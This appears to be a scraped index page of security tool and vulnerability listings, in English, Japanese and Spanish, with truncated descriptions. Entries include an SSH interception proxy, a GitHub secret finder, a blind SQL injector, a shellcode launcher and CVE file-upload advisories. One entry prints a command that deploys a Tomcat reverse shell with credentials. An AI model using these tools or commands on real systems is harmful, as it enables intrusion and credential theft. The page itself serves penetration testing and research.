ssh-mitm

SSH MITM v2.3-dev Author: Joe Testa @therealjoetesta Overview This penetration testing tool allows an auditor to intercept SSH connections. A patch applied to the OpenSSH v7.5p1 source code causes it to act as a proxy between the victim and their intended SSH server; all plaintext passwords and...

ssh-mitm

SSH MITM v2.3-dev 著者: Joe Testa @therealjoetesta 概要 このペネトレーションテストツールは、監査人がSSH接続をインターセプトできるようにします。OpenSSH v7.5p1 ソースコードに適用されたパッチにより、被害者と目的のSSHサーバー間のプロキシとして動作し、すべての平文パスワードとセッションがディスクに記録されます。 もちろん、被害者のSSHクライアントはサーバーの鍵が変更されたことを警告します。しかし、99.99999%...

git-hound

🐾 GitHound A pattern-matching, patch-attacking, batch-catching secret snatcher. Overview GitHound hunts down exposed API keys, secrets, and credentials across GitHub by pairing GitHub dorks with pattern matching, contextual detection, and commit-history analysis. Input a GitHub dork into GitHound...

parameth

parameth This tool can be used to brute discover GET and POST parameters Often when you are busting a directory for common files, you can identify scripts for example test.php that look like they need to be passed an unknown parameter. This hopefully can help find them. example scan The -off flag...

BSQLinjector

BSQLinjector BSQLinjectorはブラインド手法を使用してSQLデータベースからデータを取得します。アプリケーションに送信する前に、設定されたペイロードがどのように見えるかを明確に確認するために、「--test」スイッチを使用することをお勧めします。 オプション: root@kitploit: --file Mandatory - File containing valid HTTP request and SQL injection point SQLINJECT. --file=/tmp/req.txt --pattern Mandatory - Pattern t...

RATDecoders

RATDecoders Malconf は、特定のマルウェアファミリを静的解析し、インシデント対応担当者がインシデント中に使用できる設定データを抽出するために使用できる python3 ライブラリです。 ライブラリとして、自動マルウェア解析パイプラインにインストールすることもできます。 インストール 要件 pip セットアップと requirements.txt に含まれる前提条件がいくつかあります。 pefile pbkdf2 javaobj-py3 pycrypto androguard すべてのデコーダを使用するには、yara と yara-python が必要です。.NET...

bandwhich

bandwhich This is a CLI utility for displaying current network utilization by process, connection and remote IP/hostname Table of contents bandwhich Table of contents Project status How does it work? Installation Downstream packaging status Download a prebuilt binary Building from source...

CVE-2019-19576

class.upload.php = 2.0.3 任意ファイルアップロード 作成者 - Jinny Ramsmark 影響を受けるベンダー - Verot.net 影響を受ける製品 - class.upload.php = 2.0.3 新規インストールしたUbuntu 19.10（PHP7.3およびApache/2.4.38）でテスト済み 具体的には、Debian/Ubuntuは利用可能なPHPハンドラにphp、phar、phtml拡張子を追加するため、脆弱性があることが判明している。この場合、class.upload.phpはphar拡張子をブラックリストに登録していない。 説明...

SkyWrapper

概要 SkyWrapperは、特定のAWSアカウントで作成された一時トークンの動作を分析するオープンソースプロジェクトです。このツールは、アカウント内の悪意のある活動を検出するために、一時トークンの不審な作成形態や使用法を見つけることを目的としています。このツールはAWSアカウントを分析し、現在有効な一時トークンをすべて含むExcelシートを作成します。各実行後、結果の概要が画面に表示されます。 SkyWrapper デモ: 使用方法 1. config ファイルに必要なデータを入力します。 2...

bytesrevealer

https://bytesrevealer.online/ VULNEX https://www.vulnex.com/ Bytes Revealer Version: 0.4 Bytes Revealer is a powerful reverse engineering and binary analysis tool designed for security researchers, forensic analysts, and developers. With features like hex view, visual representation, string...

CVE-2022-32060

Snipe-IT バージョン v6.0.2 脆弱性の説明: Snipe-IT v6.0.2 の「Update Branding Settings」コンポーネントにおける任意ファイルアップロードの脆弱性により、攻撃者は細工されたファイルを介して任意のコードを実行できます。 攻撃ベクトル: Update Branding Settings ページに悪意のあるファイルをアップロードした際に、ファイルアップロードの脆弱性を発見しました。 ペイロード : https://github.com/bypazs/GrimTheRipper/blob/main/GrimTheRipperTeam.svg...

PathFinder

Web Path Finder Web Path Finderは、Webサイトに関する情報を提供するPythonプログラムです。ページタイトル、最終更新日、DNS情報、サブドメイン、ファイアウォール名、使用技術、証明書情報など、さまざまな詳細を取得します。 特徴と利点 Webサイトに関する重要な情報を取得 Webサイトが使用している技術の洞察を得る サブドメインとDNS情報を特定 ファイアウォール名と証明書の詳細を確認 キャプチャやJavaScriptコンテンツのバイパス操作を実行 はじめに 1. リポジトリをクローンします: root@kitploit: git clone...

DKMC

私の猫を殺さないで（DKMC） WINDOWS 10 now limit the shellcode payload from running properly due to the need of a RWX page to decode and execute the shellcode. DKMC can be update the set a memory page with properly permission. 「Don't kill my...

creadur-rat-gradle

Apache RAT Release Audit Tool Gradle プラグイン このプラグインは、ライセンスに焦点を当てたリリース監査ツールである Apache RAT を実行できるようにします。 インストール build.gradle.kts ファイル内で: root@kitploit: plugins id"org.nosphere.apache.rat" version "0.8.1" 使用方法 このプラグインは、build.gradle.kts ファイルで設定できる rat というタスクを登録します: Kotlin DSL root@kitploit: tasks.rat ...

warsend

WARSend Subida de WAR Shell en la API de Apache Tomcat Manager Requisitos previos Credenciales Acceso a la API de texto de Tomcat Manager root@kitploit: $ ./warsend.sh 10.10.14.232 8090 10.10.10.184 8080 tomcat $3cureP4s5w0rd! revshell | | / / | / / / / / | | /| / / /| | / // /\ / / / / | |/...

CVE-2026-85407 Eleveo Quality Management Conversation events denial of service

A vulnerability was found in Eleveo Quality Management 9.7.0. This issue affects some unknown processing of the file /enc-fwk-data/api/v3/conversations//events of the component Conversation Handler. The manipulation of the argument labels results in denial of service. The attack can be executed...

EUVD-2026-70880

A vulnerability was found in Eleveo Quality Management 9.7.0. This issue affects some unknown processing of the file /enc-fwk-data/api/v3/conversations//events of the component Conversation Handler. The manipulation of the argument labels results in denial of service. The attack can be executed...

CVE-2026-85407

A denial of service vulnerability exists in Eleveo Quality Management 9.7.0 , specifically in the Conversation Handler component at the endpoint /enc-fwk-data/api/v3/conversations//events. Manipulation of the labels argument leads to DoS. The attack is remote and requires low privileges (authenti...

CVE-2026-85407 Eleveo Quality Management Conversation events denial of service

A vulnerability was found in Eleveo Quality Management 9.7.0. This issue affects some unknown processing of the file /enc-fwk-data/api/v3/conversations//events of the component Conversation Handler. The manipulation of the argument labels results in denial of service. The attack can be executed...

webscreenshot

webscreenshot Description A simple script to screenshot a list of websites, based on the url-to-image PhantomJS script. Features Integrating url-to-image 'lazy-rendering' for AJAX resources Fully functional on Windows and Linux systems Cookie and custom HTTP header definition support for the...